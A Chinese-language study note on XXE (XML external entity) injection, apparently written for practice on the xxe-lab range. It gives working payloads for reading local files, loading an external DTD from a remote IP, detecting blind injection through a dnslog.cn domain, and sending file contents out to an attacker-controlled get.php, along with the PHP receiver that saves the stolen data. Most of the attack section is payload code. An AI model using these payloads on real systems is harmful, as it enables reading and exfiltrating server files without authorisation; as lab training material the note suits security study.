Xxe漏洞

Xxe漏洞

一，Xml：是一种用来传输存储数据的语言，与html语法相似。但xml标签没有预定义，必须使用者来进行定义；同时，xml用于传输存储数据，被设计为具有自我描述性。而html用以显示数据，焦点是数据的外观（现在xml传输方式使用较少，大部分为json或其他类型的传参方式）。

二，       漏洞介绍

1， 本质

xml 是用来传输数据，那若在传输的数据里面写的是恶意数据，传到后端被解析了，执行了命令，从而实现危害利用（传输恶意xml语句）。

2， 分类

有无回显。

3， 靶场：xxe-lab（使用phpstudy时，仅解压后缀名为.php的压缩包到www文件夹下）。

三，       漏洞使用

抓包，看是否为xml传参方式

若是，可以考虑在这个传输恶意数据，因为登录口传输的是 xml ，那么后端接收的时候，肯定是 xml 解析，既能会解析，那么我们就传恶意的 xml 数据给它解析，让他执行。

1， 有回显

读取文件

<?xml version="1.0"?>

<!DOCTYPE xxxxx [

<!ENTITY test SYSTEM "file:///d:/1.txt">

]>

<user><username>&test;</username><password>123456</password></user>

解 释 ： 将 "file:///d:/1.txt" 赋 值 给 变 量 test ， 然 后 服 务 器 在 检 查 username 时 就 会 解 析

"file:///d:/1.txt" 在黑盒测试中，我们可以抓个包看看，提交的数据是不是 xml 的这种树状的格式，或者看看content-type 是不是 xml 类型

2、外部引用实体 dtd_x0005_：

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://111.229.218.169/1.dtd">

%file;

]>

<user><username>&send;</username><password>123456</password></user>

1.dtd 中写着

<!ENTITY send SYSTEM "file:///d:/1.txt">

对于上段代码的解释：有一个实体声明（ENTITY declaretion）：%file。实体声明定义了一个名为%file

的实体，该实体的值是从 https://111.229.218.169/1.dtd 获取的内容，在 username 元素中，使用了

一个实体引用“&send”来表示实体的值，实体&send 中解析 1.dtd 文件中，得到&send 最后值为执行

file:///d:/1.txt

2、无回显

发现能带外了，说明执行了，再去利用

<?xml version="1.0"?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://72y3s1.dnslog.cn">

%file;

]>

<user><username>&send;</username><password>123456</password></user>

读取文件

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///d:/1.txt">

<!ENTITY % remote SYSTEM "http://111.229.218.169/2.dtd">

%remote;

%all;

]>

<root>&send;</root>

2.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.229.218.169/get.php?file=%file;'>" >

get.php 中

<?php

$data=$_GET['file'];

$myfile=fopen("file.txt","w+");

fwrite($myfile,$data);

fclose($myfile);

?>